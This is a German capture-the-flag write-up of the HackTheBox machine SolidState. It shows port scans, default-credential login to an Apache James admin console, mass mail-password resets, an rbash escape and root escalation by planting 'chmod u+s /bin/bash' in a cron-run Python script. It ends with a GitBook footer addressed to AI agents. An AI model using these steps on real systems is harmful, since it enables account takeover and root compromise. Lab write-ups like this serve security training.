> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Solidstate HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Missbrauch des James Remote Administration Tools
* Ändern des E-Mail-Passworts eines Benutzers
* Informationsleck
* Ausbrechen aus Restricted Bash (rbash)
* Erstellen eines Bash-Skripts, um Cron-Jobs zu erkennen (procmon.sh)
* Missbrauch eines Cron-Jobs (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/4659bc4cd38df8cdfd698915961e9367c2ad2d6c" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/adb72319e6c36ca03518c52e77411a6d6d14b9f5" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erkunden offener Ports und Exportieren in die Datei "allPorts" im Nmap-Verzeichnis.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="/files/519dc1251c347d5ac38c5f7f2a8e0108580fb7d9" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren (22.25,80,110,119,45555)

<figure><img src="/files/004ef916b2f34378def0cb01fda304d18f83cd8b" alt=""><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="/files/f228edb2e463f6d5296ec45d1b4e277c5f6a460b" alt=""><figcaption></figcaption></figure>

### Port 80

#### Auf Port 80 wurden keine interessanten Informationen gefunden.

<figure><img src="/files/fdcc72fe800d0c676a74e1cedc91ee06f02bb91b" alt=""><figcaption></figcaption></figure>

## JAMES Remote Administration

### Port 119 - NNTP

> Port 119 verwendet das Network News Transfer Protocol. Der Server betreibt eine Apache-James-Instanz, einen Mailserver und News. Wir verbinden uns mit `netcat`, aber es werden keine relevanten Informationen gefunden.

```bash
nc 10.10.10.51 119
```

<figure><img src="/files/98f893c1008ab141b6274d3d6751ccf67912dd64" alt=""><figcaption></figcaption></figure>

### Port 4555 - Remote Administration Tool

> Im Kontext der Fernverwaltung kann es verwendet werden, um auf Bedienfelder zuzugreifen oder mit entfernten Diensten auf der Zielmaschine zu interagieren. Es ist wichtig, es zu scannen, um zu sehen, ob es offen ist und welchen Dienst es bereitstellt.

Wir versuchen, uns per Telnet mit dem James-Administrationspanel zu verbinden:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="/files/fd492a8231379439db2b27ff2b6655caf54a5ea6" alt=""><figcaption></figcaption></figure>

Nach der Suche nach den Standard-Zugangsdaten finden wir:

* **ID** : root
* **Passwort** : root

<figure><img src="/files/59317d9f9e3aa2aa886a6346b95abfd4b519e079" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ce5f45216d1689cade4816fa8ac9e7bf677873ba" alt=""><figcaption></figcaption></figure>

Wir verbinden uns erfolgreich und erhalten Zugriff auf das Administrationspanel von James. Wir haben die Möglichkeit, Benutzer mit dem `listusers` Befehl aufzulisten, wodurch wir 5 Benutzer entdecken:

* `Benutzer: james`
* `Benutzer: thomas`
* `Benutzer: john`
* `Benutzer: mindy`
* `Benutzer: mailadmin`

<figure><img src="/files/917414939e23abf55de09f61509f512ed2349b26" alt=""><figcaption></figcaption></figure>

Wir können Benutzerpasswörter mit dem `setpassword` Befehl ändern, um sie mit dem Mail-Client auf Port 110 zu verbinden. Das tun wir für alle Benutzer:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="/files/565188bf628b064be46d3faa281ea23b954a2a76" alt=""><figcaption></figcaption></figure>

### Port 110 - POP3

> Port 110 ist der Standardport für **POP3** (Post Office Protocol Version 3). Dieses Protokoll wird von E-Mail-Clients verwendet, um E-Mails von einem Server abzurufen. Wenn sich ein Benutzer über diesen Port mit einem POP3-Server verbindet, kann er seine Nachrichten herunterladen.

Wir verbinden uns nun per Telnet mit dem POP3-Client:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

Zum Verbinden verwenden wir die folgenden Befehle:

```ada
USER <user>
PASS <password>
```

Wir listen Nachrichten mit dem `list` Befehl.

Wir stellen fest, dass sich in den Postfächern von `james` und `thomas`.

<figure><img src="/files/979195e1948ce5674219842e0729350c08acacdc" alt=""><figcaption></figcaption></figure>

Allerdings hat der Benutzer `john` eine Nachricht, die wir mit dem `retr 1` Befehl abrufen. Die Nachricht enthält den folgenden Text:

> John,
>
> Kannst du Mindys Zugriff einschränken, bis sie die Erlaubnis hat, dem Programm beizutreten? Bitte stelle außerdem sicher, dass du ihr ein temporäres Passwort sendest, damit sie sich mit ihren Konten verbinden kann.
>
> Danke im Voraus.
>
> Mit freundlichen Grüßen,/ James

<figure><img src="/files/c9af4d3c6508c2c7340a48f04f681c02e00fc88a" alt=""><figcaption></figcaption></figure>

Dies deutet darauf hin, dass der Benutzer `mindy` hat Zugangsdaten in seinem Postfach. Tatsächlich finden wir die folgenden Informationen:

* **Benutzername** : mindy
* **Passwort** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="/files/1b6a8bdd4a1e5f0241b382114ad1686c44fe5753" alt=""><figcaption></figcaption></figure></div>

Wir verwenden diese Zugangsdaten, um uns per SSH zu verbinden und die Flag zu erhalten `user.txt`.

### Flagge user.txt :)

<figure><img src="/files/fb1cb14c410d5db3d95326f3370757bac2931683" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation :

### **Aus rbash zu Bash entkommen**

Das `mindy` der Benutzer verwendet derzeit eine `rbash` Shell, die die Ausführung vieler Befehle einschränkt.

<figure><img src="/files/e9dc0c0a22b0b45d2ab7ec321ce3ead5355a3e0a" alt=""><figcaption></figcaption></figure>

Um diese Einschränkung zu umgehen, verwenden wir beim Herstellen der SSH-Verbindung den folgenden Befehl, um eine Bash-Shell zu erhalten:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/f1f0444768b296ee1291766a4c6bfbcc4ba792a3" alt=""><figcaption></figcaption></figure>

Anschließend verwenden wir die folgenden Befehle, um das Terminal zu bearbeiten und eine vollständige Shell zu erhalten:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Cron-Aufgaben - Angepasstes Skript (Python):

Wir erstellen ein Bash-Skript, um die aktuellen Prozesse zu analysieren und Cron-Aufgaben auf der Zielmaschine zu erkennen:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

Beim Ausführen dieses Skripts stellen wir fest, dass die **root** Benutzer ein Python-Skript ausführt, das sich in der `/opt/tmp.py` Verzeichnis.

<figure><img src="/files/41d46853efff6996f720da20f53962c43444e558" alt=""><figcaption></figcaption></figure>

Wir haben die Möglichkeit, dieses Python-Skript zu ändern.

<figure><img src="/files/faac816bd7d4a11f4fd1f6054e95ba9e22b9b264" alt=""><figcaption></figcaption></figure>

Wir ändern es, um den Befehl hinzuzufügen, einen **setuid** auf dem `/bin/bash` Binärdatei, die es uns ermöglicht, eine Bash-Shell mit den Rechten von auszuführen **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

Nachdem wir das Skript bearbeitet haben, warten wir etwa eine Minute, bis der Cron-Task ausgeführt wird.

Sobald der Cron-Task ausgeführt wurde, können wir eine Bash-Shell mit **root** Rechten erhalten, indem wir den folgenden Befehl ausführen:

```bash
/bin/bash -p
```

<figure><img src="/files/210f2070481412ea11e75835dcd7942323e225bd" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/90b6008dd6558a46474c91bdd6378ac3370e4448" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b263755cb69c336f7ebb4e5037d3c124c9eab9ba" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
